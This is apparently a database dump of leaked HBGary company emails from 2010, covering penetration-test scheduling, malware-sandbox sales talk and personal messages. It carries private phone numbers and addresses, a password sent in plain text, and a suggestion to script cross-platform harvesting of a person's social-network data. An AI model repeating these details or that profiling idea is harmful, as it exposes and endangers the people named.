info\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Ira\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Good to talk this morning.\r\n>>>>>\r\n>>>>> I am glad you have everything you need to review the PR.\r\n>>>>>\r\n>>>>> Below is a rough outline of key dates for your folks as we understand them.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> The following are dates that we have that you should know.\r\n>>>>>\r\n>>>>> PR was to have been sent on 6/3.\r\n>>>>>\r\n>>>>> You have this week to review.\r\n>>>>>\r\n>>>>> We would need to make the award by 6/21 so that we could get started on the\r\n>>>>> background check.\r\n>>>>>\r\n>>>>> We expect that to take 3 weeks.\r\n>>>>>\r\n>>>>> Jim Gore would be at training on 7/13 - 7/16.\r\n>>>>>\r\n>>>>> We finish up hardening and testing 7/19 - 7/26\r\n>>>>>\r\n>>>>> We would review testing with your folks  on 7/28\r\n>>>>>\r\n>>>>> Your folks would be out here testing on the week of 8/9 - 8/13.\r\n>>>>>\r\n>>>>> We are assuming that you would be able to do the unix and app penetration\r\n>>>>> testing simultaneously for both iRecruit and iSupplier during the same week.\r\n>>>>>\r\n>>>>> We would review test results on 8/16.\r\n>>>>>\r\n>>>>> We would then expect a written report on 8/30.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> If you need anything or have any questions do not hesitate to let me know.\r\n>>>>>\r\n>>>>> Thanks.\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> David Taylor\r\n>>>>>\r\n>>>>> 505-667-6884\r\n>>>>>\r\n>>>>> dataylor@lanl.gov\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> From: Ira Entis [mailto:Ira.Entis@agilex.com]\r\n>>>>> Sent: Thursday, April 22, 2010 2:01 PM\r\n>>>>> To: Taylor, David A\r\n>>>>> Subject: my info\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>> Ira S. Entis\r\n>>>>> President, Government Services Sector\r\n>>>>>\r\n>>>>> Agilex Technologies, Inc.\r\n>>>>> 5155 Parkstone Drive  |  Chantilly, VA 20151  |  www.agilex.com\r\n>>>>> p:703.889.3900  |   m: 703.969.3200\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>>\r\n>>>>\r\n>>>>\r\n>>>>\r\n>>>> --\r\n>>>> Ted H. Vera\r\n>>>> President | COO\r\n>>>> HBGary Federal\r\n>>>> 719-237-8623\r\n>>>>\r\n>>>\r\n>>>\r\n>>>\r\n>>> --\r\n>>> Ted H. Vera\r\n>>> President | COO\r\n>>> HBGary Federal\r\n>>> 719-237-8623\r\n>>>\r\n>>\r\n>>\r\n>>\r\n>> --\r\n>> Ted H. Vera\r\n>> President | COO\r\n>> HBGary Federal\r\n>> 719-237-8623\r\n>>\r\n>\r\n>\r\n>\r\n> --\r\n> Ted H. Vera\r\n> President | COO\r\n> HBGary Federal\r\n> 719-237-8623\r\n\r\n\r\n\r\n--\r\nTed H. Vera\r\nPresident | COO\r\nHBGary Federal\r\n719-237-8623',16017,'aaron_hbgary_com/16017.html'),(7824,'2010-06-25','\"Kevin Youngblood\" <katnkevin2001@yahoo.com>','/aaron@hbgary.com/new/1297006085.M444755P14101Q2679.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: I\'m at @cinemadraft in Arlington, VA...','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nKevin Youngblood has sent you a message.\r\n\r\n\r\n  Date:\r\n  6/25/2010\r\n\r\n\r\n  Subject:\r\n  RE: I\'m at @cinemadraft in Arlington, VA...\r\n\r\n\r\n\r\n  Aaron,\r\n\r\n\r\n\r\n   Not sure about all the job changes but from this angle it has looked like you just keep on promoting!  I can sympathize with the desire to steer clear of vtc\'s and \"selling the product\".  I previously had a \"staff\" tour and knew I wasn\'t interested in another, rather be driving the product behind the scenes.  Where are you guys located these days??  Kat, I and the boys are headed back to the beltway area in a couple of months, we have enjoyed Japan but miss our Maryland home...Kat will soon be looking to transition and I am just taking the tours \"one at a time\" now...when I don\'t like it anymore, I\'ll leave but I still enjoy it right now.\r\n\r\n\r\n\r\nPS - I\'ve got alot more \"distinguishing\" features than I had the last time you saw me!\r\n\r\n\r\n\r\nEnjoy your weekend! \r\n\r\nKevin\r\n\r\n\r\n\r\nOn 06/24/10 6:40 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Kevin,\r\n\r\n\r\n\r\nIt is a \"touch\" of grey.  I hear it makes you look distinguished, I think thats a nice word for old.  But I\'ll accept distinguished.\r\n\r\n\r\n\r\nHow are you doing?  It was an odd day when I passed what would have been my 20 year mark.\r\n\r\n\r\n\r\nI am happy to not have to wear a suite and tie every day.  I am with a small company now, so really my choice thankfully.  I really enjoy the days with no customer meetings.\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\nOn 06/22/10 2:48 AM, Kevin Youngblood wrote:\r\n\r\n--------------------\r\n\r\nNice suite and tie...is that a touch of grey around the edges??\r\n\r\n\r\n\r\n- Kevin\r\n\r\n\r\n\r\nAaron posted:\r\n\r\nI\'m at @cinemadraft in Arlington, VA http://gowal.la/r/9neR\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n\r\n',469,'aaron_hbgary_com/469.html'),(7825,'2010-06-26','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006085.M653009P14101Q2680.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Social Networks','Probably possible to write a script to harvest information from a user\r\non one social network which could be used to automatically search and\r\ncorrelate that person on other social networks and output to a report.\r\nAlong with google search info, images, faces.com, etc.\r\n',16246,'aaron_hbgary_com/16246.html'),(7826,'2010-06-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006085.M865375P14101Q2681.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Increasing, prospects are asking for automated sandbox analysis','How much will they pay for access to the tmc?\r\n\r\nOr, do they want it on-site / private ?\r\n\r\n-Greg\r\n\r\n\r\nOn Friday, June 25, 2010, Bob Slapnik  wrote:\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Maria said US-CERT is also\r\n> interested in TMC.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Bob Slapnik\r\n> [mailto:bob@hbgary.com]\r\n> Sent: Friday, June 25, 2010 11:03 AM\r\n> To: \'Penny Leavy-Hoglund\'; \'Greg Hoglund\'; \'Rich Cummings\'; \'Aaron\r\n> Barr\'; \'Ted Vera\'\r\n> Subject: Increasing, prospects are asking for automated sandbox analysis\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Penny, Greg, Aaron, Ted and Rich,\r\n>\r\n>\r\n>\r\n> I am getting new requests for automated sandbox malware\r\n> analysis.  Here are the list of organizations who have asked for it:\r\n>\r\n>\r\n>\r\n> ·\r\n> NSA ANO\r\n>\r\n> ·\r\n> NSA Blue Team\r\n>\r\n> ·\r\n> NSA Center for Assured Software\r\n>\r\n> ·\r\n> DC3\r\n>\r\n> ·\r\n> L-3\r\n>\r\n> ·\r\n> Mantech\r\n>\r\n> ·\r\n> Booz Allen Hamilton\r\n>\r\n>\r\n>\r\n> There has been talk of HBG contracting HBG Fed to finish the\r\n> Threat Management Center.  From the viewpoint of account management I want\r\n> prospects to look at HBGary as their complete end-to-end malware\r\n> solution.\r\n>\r\n>\r\n>\r\n> My competition is mostly CWSandbox and is rarely Norman.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n',9120,'aaron_hbgary_com/9120.html'),(7827,'2010-06-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006086.M495552P14101Q2682.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','RE: Increasing, prospects are asking for automated sandbox analysis','Greg,\r\n\r\nMy impression is that most customers will want their own system in-house,\r\nespecially gov\'t and gov\'t contractors.  I see the sale price being a\r\nsliding scale based on how many processing \"slaves\" are required. \r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] \r\nSent: Saturday, June 26, 2010 10:54 AM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera\r\nSubject: Re: Increasing, prospects are asking for automated sandbox analysis\r\n\r\nHow much will they pay for access to the tmc?\r\n\r\nOr, do they want it on-site / private ?\r\n\r\n-Greg\r\n\r\n\r\nOn Friday, June 25, 2010, Bob Slapnik  wrote:\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Maria said US-CERT is also\r\n> interested in TMC.\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> From: Bob Slapnik\r\n> [mailto:bob@hbgary.com]\r\n> Sent: Friday, June 25, 2010 11:03 AM\r\n> To: \'Penny Leavy-Hoglund\'; \'Greg Hoglund\'; \'Rich Cummings\'; \'Aaron\r\n> Barr\'; \'Ted Vera\'\r\n> Subject: Increasing, prospects are asking for automated sandbox analysis\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n> Penny, Greg, Aaron, Ted and Rich,\r\n>\r\n>\r\n>\r\n> I am getting new requests for automated sandbox malware\r\n> analysis.  Here are the list of organizations who have asked for it:\r\n>\r\n>\r\n>\r\n> ·\r\n> NSA ANO\r\n>\r\n> ·\r\n> NSA Blue Team\r\n>\r\n> ·\r\n> NSA Center for Assured Software\r\n>\r\n> ·\r\n> DC3\r\n>\r\n> ·\r\n> L-3\r\n>\r\n> ·\r\n> Mantech\r\n>\r\n> ·\r\n> Booz Allen Hamilton\r\n>\r\n>\r\n>\r\n> There has been talk of HBG contracting HBG Fed to finish the\r\n> Threat Management Center.  From the viewpoint of account management I want\r\n> prospects to look at HBGary as their complete end-to-end malware\r\n> solution.\r\n>\r\n>\r\n>\r\n> My competition is mostly CWSandbox and is rarely Norman.\r\n>\r\n>\r\n>\r\n> Bob\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\n>\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/26/10\r\n02:35:00\r\n\r\n',2968,'aaron_hbgary_com/2968.html'),(7828,'2010-06-26','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006086.M927860P14101Q2683.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Increasing, prospects are asking for automated sandbox analysis','Penny will prepare a software license for the \"tmc sdk\" which will\r\ninclude one master node and one slave node.  Hbgary federal will need\r\nto license that from hbgary proper for their own tmc.  The \"tmc sdk\"\r\nwill contain an inventory of software components required to setup and\r\noperate a tmc.  This will include ddna and recon, and various \"control\r\nand glue\" components, as well as a SQL backend and schema.  A sample\r\nfront-end application will be provided with source code (this is known\r\nas the \'stalker\' example).\r\n\r\nWe need to draw up a more precise inventory of components and work out\r\nthe licensing.  Penny will provide pricing based on a subscription\r\nmodel.  Every additional slave node will require additional license\r\nfees to hbgary proper, penny to provide this.  Keep in mind that the\r\ntmc includes other license fees as well, including vmware and\r\nms-windows.\r\n\r\nEvery tmc will be a custom development work that starts with a \"tmc\r\nsdk\" and is billed primarily from hbgary federal.\r\n\r\nOn Saturday, June 26, 2010, Bob Slapnik  wrote:\r\n> Greg,\r\n>\r\n> My impression is that most customers will want their own system in-house,\r\n> especially gov\'t and gov\'t contractors.  I see the sale price being a\r\n> sliding scale based on how many processing \"slaves\" are required.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Greg Hoglund [mailto:greg@hbgary.com]\r\n> Sent: Saturday, June 26, 2010 10:54 AM\r\n> To: Bob Slapnik\r\n> Cc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera\r\n> Subject: Re: Increasing, prospects are asking for automated sandbox analysis\r\n>\r\n> How much will they pay for access to the tmc?\r\n>\r\n> Or, do they want it on-site / private ?\r\n>\r\n> -Greg\r\n>\r\n>\r\n> On Friday, June 25, 2010, Bob Slapnik  wrote:\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Maria said US-CERT is also\r\n>> interested in TMC.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> From: Bob Slapnik\r\n>> [mailto:bob@hbgary.com]\r\n>> Sent: Friday, June 25, 2010 11:03 AM\r\n>> To: \'Penny Leavy-Hoglund\'; \'Greg Hoglund\'; \'Rich Cummings\'; \'Aaron\r\n>> Barr\'; \'Ted Vera\'\r\n>> Subject: Increasing, prospects are asking for automated sandbox analysis\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Penny, Greg, Aaron, Ted and Rich,\r\n>>\r\n>>\r\n>>\r\n>> I am getting new requests for automated sandbox malware\r\n>> analysis.  Here are the list of organizations who have asked for it:\r\n>>\r\n>>\r\n>>\r\n>> ·\r\n>> NSA ANO\r\n>>\r\n>> ·\r\n>> NSA Blue Team\r\n>>\r\n>> ·\r\n>> NSA Center for Assured Software\r\n>>\r\n>> ·\r\n>> DC3\r\n>>\r\n>> ·\r\n>> L-3\r\n>>\r\n>> ·\r\n>> Mantech\r\n>>\r\n>> ·\r\n>> Booz Allen Hamilton\r\n>>\r\n>>\r\n>>\r\n>> There has been talk of HBG contracting HBG Fed to finish the\r\n>> Threat Management Center.  From the viewpoint of account management I want\r\n>> prospects to look at HBGary as their complete end-to-end malware\r\n>> solution.\r\n>>\r\n>>\r\n>>\r\n>> My competition is mostly CWSandbox and is rarely Norman.\r\n>>\r\n>>\r\n>>\r\n>> Bob\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/26/10\r\n> 02:35:00\r\n>\r\n>\r\n',15355,'aaron_hbgary_com/15355.html');
INSERT INTO `emails` VALUES (7829,'2010-06-26','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297006088.M657119P14101Q2684.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,,','RE: Increasing, prospects are asking for automated sandbox analysis','Greg et al,\r\n\r\nAttached is a TMC doc I wrote for NSA ANO.  It describes my high level\r\nvision of TMC.  \r\n\r\nHere are other features needed that are not in the doc.......\r\n\r\nA key place to focus development time is developing really useful high level\r\nreports.  The problem with REcon currently is the user is overloaded with\r\nlow level granular data.  We must summarize that data into a concise report.\r\nIt seems that Responder has a report from REcon data, but it is never\r\nhighlighted in demos and it seems to get lost in the UI.  My gut says we\r\nneed to focus on reporting.\r\n\r\nTo be an enterprise capable system, TMC should have a web interface so users\r\nfrom anywhere in the enterprise can submit one or more binary samples.\r\n\r\nTMC needs to be able to process pdf files as many prospects are concerned\r\nabout them.  We may want to process other kinds of source docs, too.\r\n\r\nFuture features -- I am not advocating we do this now, but we should design\r\nnow with the possibility of adding future capabilities for \"active\r\nreversing\".  This would an automated system to reveal software classes and\r\nstructures.  The thought here is that TMC could morph into a general\r\nsoftware analysis system.  Maybe it could create UML diagrams, find security\r\ncoding flaws in software, or find malware inside of \"good\" software.\r\n\r\nBob\r\n\r\n\r\n-----Original Message-----\r\nFrom: Greg Hoglund [mailto:greg@hbgary.com] \r\nSent: Saturday, June 26, 2010 1:28 PM\r\nTo: Bob Slapnik\r\nCc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera\r\nSubject: Re: Increasing, prospects are asking for automated sandbox analysis\r\n\r\nPenny will prepare a software license for the \"tmc sdk\" which will\r\ninclude one master node and one slave node.  Hbgary federal will need\r\nto license that from hbgary proper for their own tmc.  The \"tmc sdk\"\r\nwill contain an inventory of software components required to setup and\r\noperate a tmc.  This will include ddna and recon, and various \"control\r\nand glue\" components, as well as a SQL backend and schema.  A sample\r\nfront-end application will be provided with source code (this is known\r\nas the \'stalker\' example).\r\n\r\nWe need to draw up a more precise inventory of components and work out\r\nthe licensing.  Penny will provide pricing based on a subscription\r\nmodel.  Every additional slave node will require additional license\r\nfees to hbgary proper, penny to provide this.  Keep in mind that the\r\ntmc includes other license fees as well, including vmware and\r\nms-windows.\r\n\r\nEvery tmc will be a custom development work that starts with a \"tmc\r\nsdk\" and is billed primarily from hbgary federal.\r\n\r\nOn Saturday, June 26, 2010, Bob Slapnik  wrote:\r\n> Greg,\r\n>\r\n> My impression is that most customers will want their own system in-house,\r\n> especially gov\'t and gov\'t contractors.  I see the sale price being a\r\n> sliding scale based on how many processing \"slaves\" are required.\r\n>\r\n> Bob\r\n>\r\n>\r\n> -----Original Message-----\r\n> From: Greg Hoglund [mailto:greg@hbgary.com]\r\n> Sent: Saturday, June 26, 2010 10:54 AM\r\n> To: Bob Slapnik\r\n> Cc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera\r\n> Subject: Re: Increasing, prospects are asking for automated sandbox\r\nanalysis\r\n>\r\n> How much will they pay for access to the tmc?\r\n>\r\n> Or, do they want it on-site / private ?\r\n>\r\n> -Greg\r\n>\r\n>\r\n> On Friday, June 25, 2010, Bob Slapnik  wrote:\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Maria said US-CERT is also\r\n>> interested in TMC.\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> From: Bob Slapnik\r\n>> [mailto:bob@hbgary.com]\r\n>> Sent: Friday, June 25, 2010 11:03 AM\r\n>> To: \'Penny Leavy-Hoglund\'; \'Greg Hoglund\'; \'Rich Cummings\'; \'Aaron\r\n>> Barr\'; \'Ted Vera\'\r\n>> Subject: Increasing, prospects are asking for automated sandbox analysis\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>> Penny, Greg, Aaron, Ted and Rich,\r\n>>\r\n>>\r\n>>\r\n>> I am getting new requests for automated sandbox malware\r\n>> analysis.  Here are the list of organizations who have asked for it:\r\n>>\r\n>>\r\n>>\r\n>> ·\r\n>> NSA ANO\r\n>>\r\n>> ·\r\n>> NSA Blue Team\r\n>>\r\n>> ·\r\n>> NSA Center for Assured Software\r\n>>\r\n>> ·\r\n>> DC3\r\n>>\r\n>> ·\r\n>> L-3\r\n>>\r\n>> ·\r\n>> Mantech\r\n>>\r\n>> ·\r\n>> Booz Allen Hamilton\r\n>>\r\n>>\r\n>>\r\n>> There has been talk of HBG contracting HBG Fed to finish the\r\n>> Threat Management Center.  From the viewpoint of account management I\r\nwant\r\n>> prospects to look at HBGary as their complete end-to-end malware\r\n>> solution.\r\n>>\r\n>>\r\n>>\r\n>> My competition is mostly CWSandbox and is rarely Norman.\r\n>>\r\n>>\r\n>>\r\n>> Bob\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n>>\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com\r\n> Version: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/26/10\r\n> 02:35:00\r\n>\r\n>\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.830 / Virus Database: 271.1.1/2961 - Release Date: 06/26/10\r\n02:35:00\r\n',9360,'aaron_hbgary_com/9360.html'),(7830,'2010-06-26','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006099.M483362P14101Q2685.eml','\"Michael G. Spohn\" <mike@hbgary.com>,\"Nardoni, David E.\" <david.nardoni@gd-ais.com>,\"Michael G. Spohn\" <mike@hbgary.com>,\"Nardoni, David E.\" <david.nardoni@gd-ais.com>,','malware ks','Guys,\r\n \r\nPlease send this to Mike Palmer right away too.  I didnt get his email before sending this.\r\nThanks,Rich\r\n \r\nThe PW will come in another email.\r\n \r\n \r\n',14903,'aaron_hbgary_com/14903.html'),(7831,'2010-06-26','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297006099.M997277P14101Q2686.eml','\"Michael G. Spohn\" <mike@hbgary.com>,michael.palmer@gd-ais.com,\"Nardoni, David E.\" <david.nardoni@gd-ais.com>,\"Michael G. Spohn\" <mike@hbgary.com>,michael.palmer@gd-ais.com,\"Nardoni, David E.\" <david.nardoni@gd-ais.com>','pw is','meatflower123\r\n',12032,'aaron_hbgary_com/12032.html'),(7832,'2010-06-26','\"Varner, Bill\" <Bill.Varner@ManTech.com>','/aaron@hbgary.com/new/1297006100.M400305P14101Q2687.eml','aaron@hbgary.com,alexander.miller@l-3com.com,barbara.g.fast@boeing.com,bill.phelps@accenture.com,bmalexia@rockwellcollins.com,ccpalmer@us.ibm.com,coxld@saic.com,david_joslin@federal.dell.com,dusty.wince@knowledgecg.com,ed.gibson@us.pwc.com,gjg@mitre.org,jkoenig@harris.com,john.osterholz@baesystems.com,jpayne@telcordia.com,jreagan@deloitte.com,jwatters@isightpartners.com,kathy.warden@ngc.com,kenneth.sannicolas@stanleyassociates.com,lance.cottrell@abraxascorp.com,michael.fraser@usis.com,nadia.short@gd-ais.com,pat.burke@sra.com,rdix@juniper.net,rodney.joffe@neustar.biz,roger_anderson@appsig.com,samuel.chun@hp.com,scottmil@microsoft.com,shawn.carroll@qwest.com,skip.foote@americansystems.com,steve_k_hawkins@raytheon.com,svisner@csc.com,tiffany_jones@symantec.com,wcooper@cisco.com,zazmi@caci.com,aaron@hbgary.com,alexander.miller@l-3com.com,barbara.g.fast@boeing.com','Collaboration Opportunity','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nLadies &amp; Gents,\r\n\r\n&nbsp;\r\n\r\nThe draft National Strategy for Trusted Identities in Cyberspace\r\nwas released yesterday by Howard Schmidt (website below). This follows some of\r\nthe same themes we were discussing at the dinner &#8211; that is &#8211;\r\ntrusted transactions over untrusted networks.\r\n\r\n&nbsp;\r\n\r\nThere is an opportunity for comment by July 19. This is a\r\ngreat &nbsp;opportunity to test the collaboration I was suggesting at the\r\ndinner, and this is indeed an opportunity to use our influence. I would like to\r\nput together a response from the ExecutiveBiz Cyber Group if you are willing. When\r\nyou have a chance to read the document, let&#8217;s start some communication.\r\nJennifer is going to get us together for breakfast but we will have to respond\r\nto this draft before we can get together.\r\n\r\n&nbsp;\r\n\r\nhttp://www.whitehouse.gov/blog/2010/06/25/national-strategy-trusted-identities-cyberspace\r\n\r\n&nbsp;\r\n\r\nThanks,&nbsp; Bill \r\n\r\n&nbsp;\r\n\r\nL. William Varner\r\n\r\nPresident\r\n\r\nMission, Cyber &amp;\r\nTechnology Solutions Group\r\n\r\nManTech International\r\nCorporation\r\n\r\n2250 Corporate Park Drive, Suite\r\n500\r\n\r\nHerndon, VA 20171\r\n\r\nOffice: (703) 674-2778 l\r\nE-fax: (571) 485-2362 l Mobile: (703) 475-7909&nbsp; \r\n\r\nEmail: Bill.Varner@Mantech.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6551,'aaron_hbgary_com/6551.html'),(7833,'2010-06-27','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006100.M613778P14101Q2688.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','YouTube - OIL SPILL - UN trucks preparations for martial law in Florida?','Put on your tin foil hat before viewing. \r\n\r\nhttp://m.youtube.com/#/watch?v=QwbtJHK4cd8\r\n\r\n\r\n\r\n',11489,'aaron_hbgary_com/11489.html'),(7834,'2010-06-27','\"Ted Vera\" <tedvera@me.com>','/aaron@hbgary.com/new/1297006100.M843836P14101Q2689.eml','\"Barr Aaron\" <aaron@hbgary.com>','InnoCentive - Challenge Browser','Cool site, concept \r\n\r\nhttps://gw.innocentive.com/ar/challenge/browse\r\n\r\n\r\n\r\n',10174,'aaron_hbgary_com/10174.html'),(7835,'2010-06-27','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297006101.M302051P14101Q2691.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,,,','Re: Increasing, prospects are asking for automated sandbox analysis',' \r\nBob, Team,\r\n \r\nJust to be clear, you can sell the TMC as-is.  Ted and Mark will add features or modify the system as billable time paid by the customer, per the customers desires - and of course this is up to HBGary Federal to bid based on what the customer wants.  We are waiting for Penny to create the license agreement and agree on pricing.  HBGary proper is not blocking your ability to sell.\r\n\r\n \r\n-Greg\r\nOn Sat, Jun 26, 2010 at 11:12 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\nGreg et al,Attached is a TMC doc I wrote for NSA ANO.  It describes my high levelvision of TMC.\r\nHere are other features needed that are not in the doc.......A key place to focus development time is developing really useful high levelreports.  The problem with REcon currently is the user is overloaded with\r\nlow level granular data.  We must summarize that data into a concise report.It seems that Responder has a report from REcon data, but it is neverhighlighted in demos and it seems to get lost in the UI.  My gut says we\r\nneed to focus on reporting.To be an enterprise capable system, TMC should have a web interface so usersfrom anywhere in the enterprise can submit one or more binary samples.TMC needs to be able to process pdf files as many prospects are concerned\r\nabout them.  We may want to process other kinds of source docs, too.Future features -- I am not advocating we do this now, but we should designnow with the possibility of adding future capabilities for &quot;active\r\nreversing&quot;.  This would an automated system to reveal software classes andstructures.  The thought here is that TMC could morph into a generalsoftware analysis system.  Maybe it could create UML diagrams, find security\r\ncoding flaws in software, or find malware inside of &quot;good&quot; software.\r\nBob-----Original Message-----From: Greg Hoglund [mailto:greg@hbgary.com]\r\n\r\n\r\nSent: Saturday, June 26, 2010 1:28 PMTo: Bob SlapnikCc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted VeraSubject: Re: Increasing, prospects are asking for automated sandbox analysis\r\nPenny will prepare a software license for the &quot;tmc sdk&quot; which willinclude one master node and one slave node.  Hbgary federal will needto license that from hbgary proper for their own tmc.  The &quot;tmc sdk&quot;\r\nwill contain an inventory of software components required to setup andoperate a tmc.  This will include ddna and recon, and various &quot;controland glue&quot; components, as well as a SQL backend and schema.  A sample\r\nfront-end application will be provided with source code (this is knownas the &#39;stalker&#39; example).We need to draw up a more precise inventory of components and work outthe licensing.  Penny will provide pricing based on a subscription\r\nmodel.  Every additional slave node will require additional licensefees to hbgary proper, penny to provide this.  Keep in mind that thetmc includes other license fees as well, including vmware andms-windows.\r\nEvery tmc will be a custom development work that starts with a &quot;tmcsdk&quot; and is billed primarily from hbgary federal.On Saturday, June 26, 2010, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n&gt; Greg,&gt;&gt; My impression is that most customers will want their own system in-house,&gt; especially gov&#39;t and gov&#39;t contractors.  I see the sale price being a&gt; sliding scale based on how many processing &quot;slaves&quot; are required.\r\n&gt;&gt; Bob&gt;&gt;&gt; -----Original Message-----&gt; From: Greg Hoglund [mailto:greg@hbgary.com]&gt; Sent: Saturday, June 26, 2010 10:54 AM&gt; To: Bob Slapnik\r\n&gt; Cc: Penny Leavy-Hoglund; Rich Cummings; Aaron Barr; Ted Vera&gt; Subject: Re: Increasing, prospects are asking for automated sandboxanalysis&gt;&gt; How much will they pay for access to the tmc?&gt;\r\n&gt; Or, do they want it on-site / private ?&gt;&gt; -Greg&gt;&gt;&gt; On Friday, June 25, 2010, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Maria said US-CERT is also&gt;&gt; interested in TMC.&gt;&gt;&gt;&gt;\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; From: Bob Slapnik&gt;&gt; [mailto:bob@hbgary.com]&gt;&gt; Sent: Friday, June 25, 2010 11:03 AM\r\n&gt;&gt; To: &#39;Penny Leavy-Hoglund&#39;; &#39;Greg Hoglund&#39;; &#39;Rich Cummings&#39;; &#39;Aaron&gt;&gt; Barr&#39;; &#39;Ted Vera&#39;&gt;&gt; Subject: Increasing, prospects are asking for automated sandbox analysis\r\n&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; Penny, Greg, Aaron, Ted and Rich,&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; I am getting new requests for automated sandbox malware\r\n&gt;&gt; analysis.  Here are the list of organizations who have asked for it:&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt; 